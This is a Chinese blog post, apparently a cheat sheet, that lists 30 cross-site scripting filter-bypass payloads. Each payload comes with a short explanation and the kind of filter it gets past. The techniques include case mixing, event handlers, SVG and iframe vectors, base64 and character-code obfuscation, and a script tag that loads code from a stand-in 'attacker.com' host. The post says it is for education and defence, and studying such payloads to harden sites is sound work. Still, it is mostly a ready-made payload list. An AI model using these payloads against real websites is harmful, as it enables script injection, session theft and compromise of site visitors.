XSS(跨站脚本攻击)绕过方法是一系列技巧,用来绕过目标网站的安全措施和过滤器,执行恶意的脚本。下面整理了一些绕过方法,收藏起来~
在这里插入图片描述

XSS攻击绕过方法大全

1. 使用HTML实体编码

  • 代码<script>alert('XSS')</script>
  • 解释:将特殊字符转换为HTML实体,以绕过文本过滤。
  • 应用:适用于过滤器仅检查特定字符而不解码实体的场景。

2. 大小写混合

  • 代码<ScRipT>alert('XSS')</ScRiPt>
  • 解释:混合使用大写和小写字母,以绕过对特定字符串的检查。
  • 应用:对于不区分大小写的过滤器。

3. 利用JavaScript事件

  • 代码<img src="x" onerror="alert('XSS')"/>
  • 解释:通过HTML元素的事件处理器注入脚本。
  • 应用:在标签属性中注入脚本,而不是直接使用<script>标签。

4. 利用URL编码

  • 代码%3Cscript%3Ealert('XSS')%3C/script%3E
  • 解释:使用URL编码绕过过滤器。
  • 应用:当输入被用作URL的一部分时。

5. 使用不完整的HTML标签

  • 代码<scr<script>ipt>alert('XSS')</script>
  • 解释:通过创建不完整的标签来混淆过滤器。
  • 应用:适用于过滤器尝试纠正不完整的标签时。

6. 利用编码绕过

  • 代码\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
  • 解释:使用Unicode或其他编码。
  • 应用:绕过对特殊字符的过滤。

7. 使用不寻常的标签

  • 代码<xss><script>alert('XSS')</script>
  • 解释:利用浏览器容错机制来解析异常标签。
  • 应用:适用于简单的标签名过滤。

8. 利用CDATA

  • 代码<![CDATA[<script>]]>alert('XSS')<!--
  • 解释:利用CDATA区块绕过。
  • 应用:在XML或XHTML上下文中使用。

9. 利用注释

  • 代码<!--<script>alert('XSS')</script>-->
  • 解释:在脚本中添加HTML注释来混淆过滤器。
  • 应用:在处理HTML注释时的过滤器绕过。

10. 使用文档对象模型(DOM)

  • 代码<a href="javascript:alert('XSS')">Click me</a>
  • 解释:通过DOM方法来执行脚本。
  • 应用:适用于过滤器不处理javascript伪协议的情况。

11. 利用HTML5功能

  • 代码<audio src="x" onerror="alert('XSS')"/>
  • 解释:利用HTML5元素的事件。
  • 应用:在支持HTML5的网站中绕过过滤。

12. 使用特殊字符

  • 代码<scr\0ipt>alert('XSS')</scr\0ipt>
  • 解释:在关键词中插入特殊字符(如空字符)来绕过过滤。
  • 应用:当过滤器不处理特

殊字符时。

13. 利用外部脚本

  • 代码<script src="http://attacker.com/xss.js"></script>
  • 解释:通过外部文件引入脚本。
  • 应用:适用于过滤器未限制外部资源的情况。

14. 使用IFrame

  • 代码<iframe src="javascript:alert('XSS');"></iframe>
  • 解释:通过iframe执行脚本。
  • 应用:适用于过滤器未限制iframe的情况。

在这里插入图片描述

15. 利用CSS注入

  • 代码<div style="background:url(javascript:alert('XSS'))"></div>
  • 解释:通过CSS属性执行脚本。
  • 应用:适用于过滤器不充分处理样式属性的情况。

16. 使用数据URI

  • 代码<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me</a>
  • 解释:利用数据URI方案执行内嵌的HTML或JavaScript代码。
  • 应用:适用于过滤器未限制数据URI方案的场景。

17. 利用SVG

  • 代码<svg onload="alert('XSS')"></svg>
  • 解释:在SVG图像标签中嵌入脚本。
  • 应用:当网站支持SVG并且过滤器未针对SVG标签进行足够的处理时。

18. 使用Base64编码

  • 代码<a href="javascript:eval(atob('YWxlcnQoJ1hTUycp'));">Click me</a>
  • 解释:使用Base64编码脚本,然后在页面上解码执行。
  • 应用:绕过对明文脚本的过滤。

19. 利用JavaScript编码

  • 代码<a href="javascript:eval('\u0061lert(1)')">Click me</a>
  • 解释:使用JavaScript Unicode转义字符编码脚本。
  • 应用:适用于过滤器未处理Unicode编码的情况。

20. 使用Object标签

  • 代码<object data="javascript:alert('XSS');"></object>
  • 解释:通过Object标签执行JavaScript代码。
  • 应用:在过滤器未限制Object标签时使用。

21. 利用Flash注入

  • 代码<embed src="xss.swf" allowscriptaccess="always"></embed>
  • 解释:使用Flash文件执行脚本。
  • 应用:适用于网站允许Flash内容且未正确配置安全限制时。

22. 使用VBScript

  • 代码<script language="vbscript">alert('XSS')</script>
  • 解释:在支持VBScript的浏览器中执行VBScript代码。
  • 应用:针对特定浏览器,如旧版IE。

23. 使用表达式

  • 代码<style>*{width:expression(alert('XSS'));}</style>
  • 解释:在CSS中使用expression表达式执行JavaScript。
  • 应用:适用于旧版IE浏览器。

24. 使用JavaScript obfuscation

  • 代码<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
  • 解释:使用字符编码混淆JavaScript代码。
  • 应用:绕过基于文本模式的脚本过滤。

25. 使用内联事件

  • 代码<button onclick="alert('XSS')">Click me</button>
  • 解释:在HTML元素的事件属性中嵌入JavaScript代码。
  • 应用:当过滤器未对HTML属性进行足够的处理时。

26. 使用window.location

  • 代码<script>window.location='javascript:alert("XSS")'</script>
  • 解释:通过修改window.location执行JavaScript代码。
  • 应用:适用于过滤器未限制对window.location的修改。

27. 使用document.write

  • 代码<script>document.write('<script>alert("XSS")<\/script>')</script>
  • 解释:使用document.write动态写入脚本。
  • 应用:在页面加载时执行动态生成的脚本。

28. 使用iframe与JavaScript结合

  • 代码<iframe src="javascript:alert('XSS');"></iframe>

解释:在iframe的src属性中执行JavaScript。

  • 应用:适用于过滤器未限制iframe的src属性。

29. 使用HTML注入

  • 代码<div>任意内容<script>alert('XSS')</script></div>
  • 解释:在HTML内容中注入脚本。
  • 应用:适用于过滤器未限制内联脚本的情况。

30. 使用字符拼接

  • 代码<script>a='alert("';b='XSS")';eval(a+b);</script>
  • 解释:通过拼接字符串来构造并执行脚本。
  • 应用:绕过脚本内容检测,特别是在脚本内容分段检查的情况下。

每种方法的有效性取决于目标网站的具体安全措施和过滤器配置。XSS攻击是网络安全领域的一个重要问题,开发者应深入了解这些攻击方式,以便更好地防护和加固自己的网站。同时,强调一点,这些信息仅用于教育和安全防护目的,未经授权使用这些技术攻击网站是非法的。

网络安全学习路线

在这里插入图片描述
在这里插入图片描述

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐